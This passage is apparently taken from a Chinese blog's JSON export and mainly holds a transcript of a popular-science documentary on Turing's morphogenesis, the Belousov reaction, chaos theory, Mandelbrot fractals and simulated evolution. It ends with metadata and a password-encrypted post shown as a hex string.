在图灵之前没有人懂得自组织现象的机制。 直到 1952 年 图灵发表了他的这一篇论文，阐述了用数学方程式来解释形态发生现象。论文中的大胆的猜测是令人震惊的，其中图灵使用了一个在天文学和原子物理学中很常见的一种数学方程式，来描述生命过程。 之前从来没有人做过这种尝试，然而图灵的方程式却第一次的做到了，描述了一个生物系统的自我组织的过程，这解释了即使简单的、毫无自然界事物特性的东西，也可以演变出栩栩如生的东西。 图灵的成果中令人大吃一惊的地方是，我们可以通过设定非常简单，甚至简单到可以仅仅通过简单的方程式就能描述的初始状态，然后让它进行演变。然后突然间，复杂和混乱就会出现，产生的复杂图案就像是自然界的结果。 从许多方面来看这些都是难以置信的。 其实图灵的方程式描述的都是我们很熟知的东西，但是从来没有人将这些数学方程式应用到生物学领域。 试想一阵风吹过沙丘，进而产生了一系列图形。小颗粒自我组织成波纹浪花和沙丘，即使那些小颗粒是彼此相同的。并且没有人告诉他们到底要怎么去组成属于他们的那一部分。 图灵认为，以一种非常形似的方式，在胚胎中渗过的化学物质可能会引导细胞进行自我组织，进而产生各种不同的形状。这是图灵给出的非常粗略的解释，他阐述了一堆毫无生气的化学物质，如何演化为各种不同的形状。 在他的论文中做了一些改进，来使他的方程式能够自发的产生生物图案，那种与动物表皮相似的图案。 图灵到处向别人展示自己生成的图形，你看这难道不像母牛身上的图案吗，其他人的反应是，这个人的脑子有问题吧。但是图灵相信自己在做一件有意义的事情，他们的确像母牛身上的花纹，这就解释了母牛拥有这种斑点花纹的现象。 这样一个数学从未触及的领域，生物界的图案，生成动物斑纹，突然间，这个领域向我们敞开了门。 我们发现数学方程式在这个领域会有用武之地，即使图灵提出的方程式，并不是这一新理论的全部，但仍然是一次重要的创举，提出了这种新方法的可能性。 我们现在知道形态发生，要比图灵所描述的数学方程式复杂多了。事实上，关于 DNA 分子确切的运转机制，仍然是现代科学上争论的话题。 但是图灵提出的数学支配万物的观点确是革命性的，阿兰・图灵的论文是整个形态发生理论的奠基石，他为我们提供了一种解释，连达尔文都没能提出的，解释自然界生物花纹的产生机制。 达尔文仅仅告诉我们，生物的花纹是来源于基因的，并且这种花纹的继承是决定于环境的，但是达尔文并没有揭示，这种生物花纹到底是如何生长的，而这是真正的迷。 图灵的贡献在于提供了了解这种化学机制的途径。图灵提出了一种伟大而勇敢的见解。 不幸的是我们仅仅能够推测这颗伟大的大脑，是如何想出这些的，在他发表他的开创性论文之后不久，一个可怕的并且完全可以避免的悲剧摧毁了他的生命。 在他在布莱切利园破解密码工作之后，你一定可以想到图灵会得到很多赞誉，以感谢他为国家做出的贡献。这再明显不过了。战后发生在他身上的事情是一个悲剧，这是英国科学史上令人感到羞耻的事情。 同年，图灵发表了关于形态发生的论文，他与阿诺德默里这个男人发生了短暂的情感，但是这段情感发展的很令人不愉快，默里对图灵进行了一次入室盗窃，但图灵将这件事情报告给警察的时候，警察连同图灵一起逮捕了。法庭上，原告声称，图灵以他的学历来诱导默里走上了歧途。图灵被判有严重的猥亵罪，法官给了图灵可怕的选择，他要么进监狱，要么接受雌性荷尔蒙注射，进而治疗他的同性恋倾向，他选择了后者。这导致了他连续不断的消沉。 1954 年 6 月 8 日，图灵的尸体被他的清洁工发现。他是一天前死于咬了一口自己注入了氰化物的苹果，结束了自己的生命。 阿兰图灵死的时候 41 岁，这对于科学来说是一种无法估量的损失。图灵不曾想到他的思想会启发后人，将一种全新的数学方法应用到生物学领域。科学家发现他发现的这种方程式，确实能够解释好多生物组织的形态。 回头看看，我们知道图灵真正捕捉到了复杂与混乱源于简单规则，这样的法则。他意外的迈出了，通往新科学的第一步。 贝洛索夫的试液这个过程的第二步更是始料未及，可悲的是伟大的第二步也是一个悲剧。 在 20 世纪 50 年代初，在图灵发表他的对后人影响巨大的论文之际，一名杰出的俄国化学家 斯・贝洛索夫，开始了他自己的探索，关于自然界中的化学。 正在高墙铁网之后的苏维埃卫生部，他正在研究我们的身体是如何从糖中提取能量的。像图灵一样贝洛索夫也是在一个个人项目中工作，他刚刚完成了一段从事科学工作的经历。 贝洛索夫构想好了一种新的化合物配方，来模仿人体内葡萄糖的吸收，这种混合物就摆在实验室的座位前面，在被摇晃的时候清澈而透明。 在他添加最后一种试剂的时候，整个混合物的颜色发生了变化。 当然，这还不算什么特别的，就像我们将墨汁倒入水中水也会改变颜色。 但是接下来发生的事情令人感到惊奇，混合物又变得清澈无色了。 贝洛索夫感到很吃惊，化学物质混合以后会发生反应，但这个过程不能自发的发生逆反应，在不受外界干预的情况下发生可逆变化。 你可以很容易的将一个无色的液体变成有色的，但这个过程的逆过程却不太可能。这太奇怪了，贝洛索夫的试液并没有简单的发生逆变化，试液被摇晃后，就不断的在无色和有色之间变化，就好像这个试液在受一种神秘的内部机制驱动一样。 他非常谨慎小心地又重复多次这个实验，他的混合物能够不断的在无色和有色之间变化，他发现的东西好像魔术一样。一个好像是违反自然法则的物理现象。 贝洛索夫觉得自己的发现意义重大，将自己的发现记录下来，并努力让更多的人了解他的发现，但是当他将他的发现递交到一个顶尖的苏联科学杂志的时候，他收到了一个完全出乎意料的诅咒式的回复，杂志的编辑告诉贝洛索夫，他的发现是不可能在实验室重现的，因为这与基本的物理法则相违背，对这个现象的唯一的解释就是，贝洛索夫在实验的时候出了错，他的发现是不会被出版的。 这个拒绝深深的打击了贝洛索夫，他感到非常的羞辱，结果放弃了自己的实验，而后他又放弃了自己从事的事业。 具有悲剧色彩的讽刺是，由于贝洛索夫所处的闭塞环境，贝洛索夫从来没有机会看到图灵的工作成果。如果他看到了图灵的发现，就能为自己的发现提供有力的证据，事实上，贝洛索夫的不稳定试液，不仅没有违背物理法则，而且是实在就是真实的，能够体现图灵的预言的例子，尽管这两者的发现初看起来并没有什么联系。 其他科学家发现，如果将贝洛索夫的试液的一种变种，不加搅拌的放入培养皿中，而不是摇晃他们的话，他们就会发生自我组织，事实上 ，他们产生的条纹会比图灵预测的花纹要复杂。 他们会产生令人惊诧的复杂的条纹，毫无预兆。 贝洛索夫实验的惊奇之处在于，它能生成一种系统，这种系统产生了图灵方程式所预测的图案，在一个看上去无色的溶液中，产生了这种奇异的原型图案，这明显不是什么抽象科学，贝洛索夫图案的运动模式 ，与我们心脏在跳动的时候周围细胞的运动模式完全相同。动物的皮毛和心脏的跳动，自组织现象在自然界中随处可见。 牛顿经典物理学为什么在科学界在图灵和贝洛索夫的年代 ，却对这种想法不感兴趣甚至持有敌意呢？ 原因就是人类的臭毛病，主流科学家不喜欢这种观点，这与主流科学家的科学直觉相违背，也与现有的科学成就相违背，若想改变这种观念，我们需要一种彻底的，改变传统的发现。 实际上，在 20 世纪初期，科学家们把宇宙看作一个巨大而复杂的机械装置，有点像一个大号的太阳系仪，整个宇宙就好像是一个巨大的错综复杂的机器 ，严格的遵守着数学规则。如果你知道这个机器的运转机制和初始状态，那么随着你转动这个手柄，它将严格地按照预期的行为运转。 在牛顿生活的时代里，当人们在探索驱使宇宙运转的法则时，他们把宇宙看作这种按照确定规则运转的机器。宇宙就好比是一个被设定好的机器，遵循确定的法则按部就班的按照这个法则运转。 宇宙中复杂的现象是有复杂的内部规则驱使的，但是一旦一开始让它运转它只会做一件事。人们从这里看到的现象，都可以使用严格的数学公式来描述。 这实际上是很简单的事情，一旦找到能够描述系统运行的数学方程式，那么你就能够预测系统的走向。 这是一个伟大的想法。 它开始于牛顿的万有引力。万有引力成功的解释了行星围绕太阳运转的现象。科学家们后来又不断的发现了新的方程，牛顿物理似乎已成为了预言宇宙的终极方法。 它给我们暗示了这样一种可能，从原则上讲，未来是可以预测的。 我们采用的测量手段越精确，我们就能越精确的预测未来的情形。 但是牛顿物理产生了一个可怕的后果，如果有一个系统我们能够用数学方程式精确描述，就像这个太阳仪一样，那么一旦它表现出了一些我们不能预测的行为之后，科学家就只能认为，是有某种外界力量影响了这个系统，比如说是沙土跑进去了，或者是小零件磨损了，或者有人对它进行了认为的改动。 一般情况下，我们会这样假设，如果我们遇到了非预期的现象，那么这种现象应该是来自系统外部的干扰，而不是来自系统内部的。不可预测的现象，不是来自系统的本身，而是来自与外部对它的影响。 从这种观点的角度来看，自我组织这种现象是很荒谬的，而图灵和贝洛索夫所表达的，复杂图案可以从系统中自我生成，而不需要外界力量是非常受当时的主流科学所忌讳的。 要想使人接受自我组织理论，那么，就必须推翻牛顿物理学，但这看上去很不可能，无论如何这种新思想在 60 年代末期，成为了新时代的奇景。 蝴蝶效应然而同时，伴随着登月计划，一小群信奉牛顿力学的科学家，意外的发现了一些事情不对劲，完全不对劲。 在 20 世纪后半叶，科学界的噩梦出现了，这个噩梦，动摇了牛顿的思想，并将我们推向了一片思想的混乱。 具有讽刺意味的是，迫使科学界接受自我组织理论的事情，是一种我们叫做混沌的现象。 混沌这个词被广泛使用，但是在科学领域中，它有它专指的意义。它指的是在一个能被数学方程式精确描述的系统中，可以自发生成不可预测的现象，并且不需要任何外界的干预。 通过使用非常简单的法则或方程式，并且里面不包含任何的随机性，系统中的所有元素都是确定的，并且我们完全掌握系统的法则，即使是这样的系统也会产生完全不可预测的现象。 混沌的发现并不讨主流科学的喜欢，有一个人迫使科学界接受混沌，他就是美国的气象学家爱德华・洛伦兹。 在 20 世纪 60 年代早期，他试图寻找能够预测天气变化的数学模型。就像许多他的同事一样，他相信天气系统与我们太阳系仪是一样具有确定性的，一个可以被数学描述和预测的物理系统。 但是他错了，当洛伦兹写下一个用于描述气流的及其简单的数学方程式时，这些方程式并没有达到他预想的目的，他们没有做出任何有价值的预测，这就好像说某一天中的一阵清风，将会决定一个月后的某天是冰雪连天，还是清空万里。 对于一个像太阳系仪这样精准的系统来说，怎么会产生不可预测性呢？ 这源于他的内部构造，由于齿轮的链接方式。 事实上，在某种情况下，即使在初始的时候有一点点误差，哪怕这个误差小到难以测量，这个误差会随着机械的运转而不断被放大，随着系统的运转，系统的状态会一点一点的偏离你所期望的状态。 洛伦兹在一次演讲中表达了这一颠覆性的想法，演讲的题目是 —— 一只蝴蝶在巴西扇动翅膀会使美国的德克萨斯刮一场龙卷风吗？ 这是一次有力而吸引人的演讲，数月之内，我们的语言中就添加了一个新的词汇 —— 蝴蝶效应。 蝴蝶效应就是混沌系统的标志，它开启了之后的一切。 在 70 年代早期 一个叫罗伯特・梅的年轻澳大利亚人，正在研究一个数学方程式，用它来模拟生物种群随时间的变化。 但是这个过程中同样牵扯到蝴蝶效应，哪怕生物的繁殖率发生了极小的变动，都会导致种群数量结果发生巨大的变化，这个数值可能会毫无征兆的上下起伏。 传统的使用数学方程式，来描述系统行为的方法似乎走到了死胡同，某种意义上，这是信仰牛顿学说的人的美梦之终结。 随着我们的计算能力的提高，我们就有能力处理更复杂的方程组，但刚才我们所看到的否认了这种观念。 你可以从一个及其简单的方程式开始，这个方程式简单而不存在任何的随机性，但是如果它产生的行为能够表现出一种混沌性，那么你就不能再回溯到系统的初始状态了。 数百年来所建立的科学观点在几年内就被瓦解了，可以精确描述宇宙的运行的这一想法变成了幻影。 看上去具有逻辑确定的事情，却变得更像是一种信仰。更糟的是，这种现像到处都是。因为混沌到处都是。 似乎不可预测性是固有的，存在于我们生活的宇宙中。 全球气候可能会在几年的时间内，发生剧烈的变化；股市可能会毫无征兆的崩盘；我们可能会在一夜之间从地球上灭绝。 如果这种事情发生的话 没有人能够阻止，不幸的是，我不得不说以上这些都是真的。但是盲目的恐惧混沌现象是毫无意义的。 因为混沌是一条基本的物理法则，我们必须承认它是生活中的一部分。 混沌理论的出现一直影响到之后 20 到 30 年人们的思想，它改变了人们对于科学工作的看法，它深刻的改变了科学家看问题的方式，以至于科学家们现在已经离不开混沌理论了。 混沌理论想要说明的是，简单的数学方程式能够繁衍出复杂的行为，这种复杂性超出你我的想象，所以简单而机械的系统能够表现出复杂和丰富的行为。 混沌理论的发现，是科学史上的一次重大的转折点，它摧毁了牛顿信仰者的梦想，科学家们现在越来越看得惯图灵和贝洛索夫在自发生成花纹上所做的工作。 自反馈系统更重要的是，由于他们的工作，一个伟大的真相浮出水面，那是一种内在而隐蔽的关联，一个贯穿宇宙的关联，关联着自然的神秘力量和自我组织现象，以及蝴蝶效应产生的混沌结果。 图灵、贝洛索夫、梅、洛伦兹这些人都分别发现了一种重大思想的不同侧面。他们发现自然界具有固有的不可预测性，这种不可预测性的内部驱动力，也可以使系统表现出特定的结构和花纹，有序与混沌，似乎要比我们想象的要联系的更加紧密，但这种联系是如何实现的呢？贝洛索夫的花纹与天气变化之间有什么联系呢？ 首先，虽然两个系统都有复杂的工作机制，但他们都是基于及其简单的是数学法则，其次，这些数学法则都具有一种独特的特性，都具有自我链接的特性或者说是自反馈。 为了向你展示这一点，展示简单的自反馈系统的力量，将使用一种看上去简单甚至无聊的实验。 身后的屏幕连接到一台摄像机，这台摄像机同时也在拍摄着我和屏幕，这样不断的循环就能产生无数个人的影像，都投影到屏幕上，这是一个典型的自反馈系统。图片中不断的嵌套着其他的图片。 这乍看上去肯定有规则，但当我们放大镜头，奇怪的事情发生了，我首先发现的是实物图像和屏幕上显示的图像不像了，火柴的微小运动被迅速放大，当影像在摄像机和屏幕之间反复映射的时候，即使我能用精确的数学对外的每一步动作进行描述，但我却不能预测火焰微小的变化，会导致最终的图像如何变化，这就是一种实实在在的蝴蝶效应。 下面的现象变得更离奇了，通过像系统中添加一点点的扰动，这些奇异而美丽的图案就出现了，这种简单的依赖反馈的系统，呈现出了混沌与有序，同样的数学方程式同时产生了混沌和有序的图案。 这将改变你对世界的看法，在传统观念中，自然界都是有序的，混乱存在与系统之外，即有序与混乱是相互独立的这种想法是错的，其实混乱和有序，就像同一架钢琴上弹出的高音和低音，这个发现有史以来第一次如此接近自然界的数学本质。 我们能从图灵的工作，以及化学和生物中得到的，最重要的启示是，所有复杂的图形都是来自，宇宙间简单的演变过程，像扩散， 像化学反应率，这些简单的过程最终导致了图案的产生，所以到处能看到图案，他们不断的产生。 曼德勃罗集合从 70 年代开始越来越多的科学家，开始接受混沌理论，以及对自然界能够自发产生复杂花纹的认可，但是有一位科学家比别人走的更远，对这个令人惊奇颇感迷惑的问题带了个新思路，他是一个具有传奇色彩的不喜欢按套路出牌的人，他叫伯努瓦・曼德勃罗。 伯努瓦・曼德勃罗 并不是一个寻常的孩子，他跳了两个年级。并且由于他是战时欧洲的犹太人，所以他受到的正规教育极其有限，他基本上是靠自学以及亲属对他的教育，他从来没有正式的学习过字母，甚至没有学过 5 以上的乘法。 但是和图灵一样，曼德勃罗具有一种洞悉事物本质的本领，他能从混乱中看到我们所看不到的规律，他能够发现形式和结构，然而我们却仅仅能看到一片混乱，他能够感知一种新奇的数学，用来支配整个自然界的运转。 曼德勃罗的一生都致力于找到一种能够揭示自然界复杂性的一种数学支持。 曼德勃罗当时为 IBM 工作，而不是学校的学术圈内，他试图解决一大堆的问题，关于自然界以及金融界的不确定性，在各个方面的表现。 我觉得他知道自己，所做的所有工作都是一个大问题的不同侧面。 他是一个具有原创精神的人，他觉得求解这个大问题是他真正想做的事情。 在曼德勃罗看来，几百年来传统的数学研究都仅限于，规则的图形是一种很不可取的行为，就像直线和圆，传统的数学是没有办法描述不规则的形状的，而真实世界确是有不规则形状组成的，就像这个鹅卵石，它是一个球体还是一个立方体呢，还是它们中间的某种形状？他到底是一种什么形状？ 曼德勃罗想，是否有一种法则，能够描述自然界的不规则性，那些蓬松的云朵、树和河流的分支，以及蜿蜒的海岸线之间有什么共同的数学基础。 是的，有的。 自然界中所有的形状的共同特点，就是自相似性。这指的是事物的局部，不断的在更微小的尺度上重复自己，不断的精细到每一个细微之处，树枝就是一个绝好的例子，他们不断的分叉，重复这这个简单的过程，在更微小的尺度上不断重复这这个过程。 我们的肺的结构同样遵循这个原则构建，我们体内血管的分布同样遵循这样的规则，河流分成更小的溪流也是这样，自然界可以依照这种方法不断重复各种形状。 看看这个罗马花椰菜，他的总体结构是由许多重复的小圆锥组成的，曼德勃罗意识到自我重复性，是一种全新的几何学的基础，并给这种几何图形起了一个名字 —— 分形。 分形看上去非常简单直观，但是我们如何才能用数学对它进行描述，你能够利用分形的本质画一幅相似的图形吗？那么这张图形会像什么？你能仅使用一些简单的数学法则，来绘制一幅看上去像是自然创造的图案吗？ 曼德勃罗找到了答案。 曼德勃罗爱 20 世纪 50 年代末就职与 IBM，因此有机会使用计算机，并且利用计算机这个工具来寻找自然界的数学本质。 在新一代的超级计算机的帮助下，他开始研究一个看上去很奇怪，但却异常简单的数学方程式，使用这个数学方程式可以绘制一幅不同寻常的图形，我将向你展示的是一幅非常吸引人的图画。它完全由数学产生，惊人之举往往不同寻常。 这就是曼德勃罗集合，他被称为上帝的指纹，当我们仔细看看这幅图后，你就知道我们为什么这么叫了。 >> 鼠标选择区域放大查看曼德勃罗集合细节 << 就像树和花椰菜一样，你看得越仔细你发现的细节就越多，在这个集合中的每一个图形，都包含了无穷多个小图形，小的子图无穷无尽，然而所有这些复杂的分支都来自有一个简单的方程，这个方程有一个非常重要的特性，它是自反馈的。 每一次输出都成为了下一次计算的输入，这种反馈系统展示了一个简单的，方程式是如何展现出无比绚丽的图案的。 但是令人惊奇的是，曼德勃罗集合并不是一个奇怪的数学巧合，它的这种无穷分形的特性，反映了一种自然的有序的本性，图灵图案、 贝洛索夫的化学反应、曼德勃罗的分形都分别指向了一个自然本质。 简单的法则 无穷的创造当我们看到自然界的复杂面貌时，我们倾向于问，他们来自哪里，我们总是抱有这样的观念。 简单的事物不能导致复杂性的产生，复杂的现象必须源于复杂的设计。 但是我们刚才看到的数学方程式告诉我们，极其简单的法则也会繁衍出复杂的现象。 当你看到复杂现象的时候，你应该想到，驱使它产生的只不过是简单的法则，所以同一个方程式从不同的角度看，既简单又复杂，这就意味着我们需要重新思考，简单性于复杂性之间的关系。 复杂的系统可以基于简单的法则。 这是一个重大的启示，也是一种伟大的思想。它似乎适用于整个世界。 看看这群飞鸟，每一只鸟都遵循简单的法则，但是整个鸟群确是一个极其复杂的东西，他会自动的避开障碍在没有领航情况下进行自我导航，甚至是做计划。 虽然这个鸟群的行为很显著，但我们却不能预测他的行为，它不会重复原先的行为，即使是在相同的环境下。 就像贝洛索夫的化学反应一样，每次你进行这个化学反应产生的图案都稍有不同，他们可能看上去相似但却不可能相同。 对于自反馈的影响和 沙丘同样是这样，我们知道它会产生某种图像，但是我们却不能预测确切的形状。 生物进化的原料我们关心的问题是，大自然能够以这种方式将简单的法则，演绎出复杂的现象吗？ 试着解释一下为什么会有生命的存在，它能够解释为什么充满砂石的世界，是怎么产生人类的吗？ 毫无生机的事物是如何变得充满智能的呢？ 进化正是基于这些简单的生物花纹，进化将这些当成原料，并把它们以不同的方式结合在一起，看看哪些结合方式有效，哪些无效， 保存那些有效的结合，并在它们的基础上进一步演化。 这是一个完全没有意识控制的变换过程，但这基本上就是现实中发生的事情，放眼望去，进化的过程到处都是使用自然界的自我组织的图案。 我们的心脏使用类似贝洛索夫反应的方式来驱使它有节律跳动，我们的血管的组织形式就像分形，就连我们的脑细胞也是遵循极其简单的规则，进化过程丰富并筛选这我们的世界的复杂性。 这是近代科学最有魅力的发现。 计算机模拟的进化机制一方面你拥有一个具有自组织能力的复杂系统，它可以产生不可预测的行为，另一方面需要将进化机制作用于它，这样才能产生适应环境的东西，进化通过无拘无束的创造力，约束着系统的演确实难以置信。 但当这个约束过程发生在宇宙级的时间尺度上，就容易理解了，从地球上第一次出现生物到我们人类的产生，整整花了 35 亿年的时间，但是我们现在手头上，有一种可以在更短的尺度上模拟这个过程的发明。 你知道我指的是什么吗？ 很可能你天天就坐在这个发明面前，当然，这就是计算机。 现代的计算机每秒可以进行上亿次计算，我们可以让它们做一些奇特的事情，它们可以模拟进化过程，确切的说，计算机可以利用进化规则，来约束自己产生真实世界中的现象，使用进化规则来约束和筛选生物组织。 现在，计算机科学家发现这种能够自我演变的软件，可以取代人类最聪明的头脑来解决问题。 我们在最初的实验研究中发现，进化这种系统就像一种算法一样创造着，能够适应环境的复杂系统。 托斯顿和他的研究小组的研究目标是，使用计算机模拟的进化机制，来创造能够控制躯体运动的虚拟大脑。 一开始他们随即设置了 100 个虚拟大脑，就像你看到的这样这些大脑很笨，然后进化的力量来了，计算机自动的选择表现稍好的大脑，然后让它们产生后代，然后再选择能够做的更好的大脑，并让它们继续产生后代，下一代中能够更好的控制躯体行动的大脑，会继续得到繁殖后代的机会。 令人惊奇的是，通过 10 代的繁衍，虽然还是有一些不稳定，但这些小人确实能够行走了。 更神奇的事情是，你最终得到了一种能够正确行走的东西，但是令人感到有点害怕得到是，你却不知该它为什么能走，以及是如何行走的。 你眼睁睁看着这个大脑，却不知道它内部是如何工作的，因为这个结果是进化自动产生的结果，经过 20 代的繁衍后， 我们看到了这个， 变成了这个， 这些虚拟生物随后演化出了比行走更复杂的行为，它们产生的行为，是很难通过传统的编程方式实现的，它们对于突发事件做出了像人类一样的反应。 即使这些算法都是由我们人类编写的，但当它们一旦开始进化之后，我们就难以加以控制了，然后我们预想不到的事情就发生了。 真有一种滑稽的感觉，你创造了它们，然后它们抛开你自己做主，一种不假思索的不断尝试的进化过程，创造了这些能够行动并作出反应的虚拟生物。 我们这里看到的是一个绝妙的实验证据，来证明简单的法则具有无穷的创造力，看着计算机里面自动表演着难以用写程序的方式描述的行为，它是一个展现自我组织能力的绝好例子。 这说明了进化本身，就像我们看到的其他系统一样，是一个基于简单法则和回馈的系统，在这个系统中复杂性自发的产生了。 想想看，这个简单的法则就是，机体需要重复略有变化的行为，反馈来源于环境，这种环境选择了更适应它的行为得到生存，结果就是，在没有可以设计和规划的情况下，前所未有的复杂性就这样产生了。 有意思的事情是，一个个体可以进化到更高的一个结构状态，一旦你获得了一种包含某种行为的系统，并且这些行为可以被选择，被某种过程选择或被环境的反馈选择。所以进化过程这个达尔文学术的中心议题，在某种意义上就是图灵的反馈系统运行在多个过程之上。 尾声这就是整个事情的本质，未经过精心设计的极其简单的法则，能够无意识的创造出无比复杂的系统。 这样看来，这些计算机虚拟的生物就是自组织系统，就像贝洛索夫在他的化学实验中发现的现象一样，就像沙丘和曼德勃罗集合所呈现出的现象一样，就像我们的肺、心脏以及我们这个星球上的天气系统。 伟大的设计并不需要一个伟大的设计者，这就是宇宙所固有的本性。 令人难以接受这种观点的是，所有形状、花纹和结构的产生，并不需要一个有意识的创造者，但这种设计本身可能需要一个更聪明的设计者，他做的事情就是将整个宇宙，作为一个巨大的仿真，在这里你设定了一些初始条件，然后一切的一切都自发的产生了。 伴随着所有的惊奇，伴随着所有的美丽，图案形成的数学本质预示着同样的图案会在许许多多不同的场合出现。 如化学生物系统，在这些系统的本质里，都存在同样的数学基础，在这些内部本质的外面，就是我们看到的今天的这个世界。 我想，这是一个令人兴奋的想法，那么我们最终能从这些当中学到什么呢？ 这就是宇宙间所有的复杂性，所有的多样性，都源于一些简单而毫无目的的法则的不断繁衍的结果，但是请记住, 尽管这个过程力量无比，但他却具有固有的不可预测性，即使我可以充满信心的告诉你未来精彩无限，但我仍要负责任的告诉你，未来将会发生什么确是不为人知的。","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"混沌","slug":"混沌","permalink":"https://blog.mhuig.top/tags/%E6%B7%B7%E6%B2%8C/"},{"name":"探索","slug":"探索","permalink":"https://blog.mhuig.top/tags/%E6%8E%A2%E7%B4%A2/"}]},{"title":"曼德勃罗集 | 上帝的指纹","slug":"pen/Mandelbrot","date":"2021-06-06T03:50:37.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/64e72a75/","link":"https://blog.mhuig.top/Mandelbrot/","permalink":"https://blog.mhuig.top/p/64e72a75/","excerpt":"","text":"曼德勃罗集被誉为上帝的指纹，其通过简单迭代公式生成无限复杂图案，展现混沌系统的自相似性特征，揭示隐藏在无序表象下的宇宙深层规律，是分形几何与非线性科学的经典研究对象。","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"混沌","slug":"混沌","permalink":"https://blog.mhuig.top/tags/%E6%B7%B7%E6%B2%8C/"}]},{"title":"记一次仅在 IPv4 环境下访问 IPv6 网络的经历","slug":"web/ipv6-vpn","date":"2021-04-11T01:24:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"p/5e9edb45/","permalink":"https://blog.mhuig.top/p/5e9edb45/","excerpt":"有东西被加密了, 请输入密码查看.","text":"f5acefd70429a87fe5021e27622ec1128e40d1046ed1888ae7e891cb14d262dfef4eea3742a6ebb5b37f9a24966928d8534a26093596ae98a02be3eb347a7b4a0350c1abe43e99c6a0d9c654f4cf978bb34e2845c71926a86d33ee082f3cc73868d1bc1baa3e724560027cd5278b8bf2459cf3bcc441c852fe92e4689eb2c607177f354436be83aa522eafd76cf45f2a3720123e2922fbe64d9dd7ba1680fadf13e8203c95fa15fdb28a1fd449f57408ef0442ba0606f552bf8372472312aafd455f5defb1e9a56220ae298f8484e66bcd7f8b687098fbdd07cfd8048b73c0433d4b4694104d99c05ef936e7c7adc0ef7ab1076df9a626fd7bfa5377cf546c74dc8e309f54ce76e1108edaf6425e43dffdadd408eced003fd87cd28ad698d3e9cbee0f544263e62527582e22a2d29b5cc000744a9bfe62f5e5854b9d83342a4e58c8a25e4794df2fefee3341ac33fa66e4cc1a7aa009d9fd6a77d9bd1df2d45d163404030cfd4b7920ecb36e32d96e5c2aa108869451634dfbe5fc7954df8d16dbc637ad59f83169969172ae4ebd57f5c4c383fe347a79f97a3695d52db6b5eb1ed29b8cb170b1ff69fe7a9747d99e09eebc4fe2a232dfe900e1e8c90721707db78a6a92960f719abdefb1615e45e0d2f80e03ebe7732df898c03bfa3e5e257b44f4a63c017ced48b8252be554a8fb316cb3544c016e7cb792744f389256f4b8d7243c1d869634984c30dbbd37c330d43f6ea2eec8b52a453aa041f9a50a5c23f0504a18d3aed6e6b0dd15b5d9a72a38e5186651628e8783afa66bd11322235474233bf8e562ee227159f14a1b4b08a746d4c8000fa09300ceaf56971287e421a57d43beba2b0b7ce0d84cbf642acf454a55c491fcca6e96e5064c6067197d309b965ec866afb9051909a671d02b9c19648522edd92483a5b80c00885c96bc79e810ad12644646e07286ca3db98ddcce0d51d3901c6c17a64d2137bb07f6cf479312db7d2eca00226b4c8ec2790fc55591e8a7ad56fc36d95e25dc06ccab106e04db57e745bd8362ffa0dc37d831443a80c853c2e16577fcb9d9df4974726924b6ce7dab378849462358ec8296568e0409fae0f27426a85fc34f4f5d88fff2031f453b77ecb8bf5fe75c77bc818ca28d2361deab6f9d98f4dcd4c32d13e0256744b6afb357a16538acc5434705e0965163aa32be923c31b8024c490e72d5d2241816380b6321b3b493b661149a7f05a3f5244c83982d5ef27005fbeb33a1828b94d2b9cc4aac765fb3d72480db5a7d377873149ac7d382acd274cc2fbe786b7b9dbb76d668d05729defefba2e7138484a67c48c789553df68549908511d7628dbfcac77b42ea7a1a9529a0f044905dc9659ab2a1343879f17adfbb14c7551ecac60a77b679323546b12ca0678ebea5b20a565dbe899b7090ed654b204fbb6e687322a0498361ca17f9caae5d7c44f257544bc4e4b18fa60faacdc66a38bfeb3caaa857ae369ce3ee0972a343346c1026c51176e92573cea11ec1854c36d022adb5bd14df888ddaed41f0295e8c2bb4c539e63f702a28a91d2be7b3b2f9221dc6a9b6ad27b0d5e13c231c5c9a2db9ee13e8d5b124a3e514a3553544acde5a43b9faffe2c1104570aafda72e932674909d91e09fead8ca34f8666db934f2facc03707f8c76756ab563d9540854d7e70db535fa44633d4f42c5cdce6190aa6eeb967b90fd4328c33cf3e7d61fc57aff8e3fd1163caa462a429d028693f606d42e2dc4a4c3ad7b3e8f7b6f3cd62ab4eeb5524c421295ded27582e3dc0ef212b6c29580a23b6ea2fbce265ebe0f9772d36464f210d712f2c57c04a7ceb97263ba5b6ee8996a0a55025f10944910831023add9bd5eca1b815f881d6aa1b449e31c47501667ca5e92c2b1d7bda02511f23bd2f5c2af24dbf2a8fc353cbb1201ff9cdde3e26f5d897053e68f80b0a759a2c93fa51f9dae9ac5670a2f39f567cdb66e160c315f9c23074652cf851513b70e39224cf1794aaf25b88df5b887dc3f4285d92103f6dfe09a87cd6487246376546af0c8460479affe6b7fb0bc2ec9c613cb00830d10c8c7d8b7f79539c177d7947df8b16b0d41e533debde83cacdfbf774290ffe440c220c4ff622a629ebcf5012b5cbbc03a63e92fd075fc40f265d20c39eecd03ec8ebd04ade4fccb0db65c1aa31363669192f0706d4fb24b3a648140a1e193f1c3de5df67d96916e57d9d033c2e84170553cfdaed0ab5e38453f101243339d67b9c19644b88f4ae415646411dc31e2697a995b51633463e58bd2f3c17ffd3f0badd785749228bcef9367bb0f9e64d1ce7d11ae0a1df719166e6e6e78c41ee771bc4464ccb1418f431011721dc84f84aba10e67e4863b3325e8fccf2a01a0ea8b7571f1045f1c7aefb3621c9cdf4634695d99d9522f191d8cc1397a4ee985a10613e71919508f1b28084732b0c3e61094ed0884b07b1c1d45a71e337c63367588e691d4ec56afaea4c00505cf24fe7deea1fa514a25d406a3310f3891cf14215559f37ca8fa86b42382d9793e84645667fb014b2ff5bd8b45ef3e7b5a504996257f11f3854420e7fb7c4391adf63bec990226976c206cb2cf9f79fbc11778c41b7b9a5bf3cd2f5d3cb222371311ee23b5a400e73e5385c1d2a233e32027d59089d8e9cd92759ef489d2e22dab2157f98f4fc33388bca3018afc0dbd54911c98b86e718245931522b3a7e3a3808091454b37a6fcacd0cf96a02111bc6e5b21481d8ac65e244439727f1373455489712b5043fd383e82a64e7f034c7fc2ab863b3e4e9027794426ab959d1a7c79d77f2faf147dfab0b98e5c08ad57b76e96736af4f84401ea5674d992e2dd1deae1ef2cf4abdc289c792f1c39421d314d353467916cf62d3dbb91c56df51deb7c0fa74a6227466bab96564f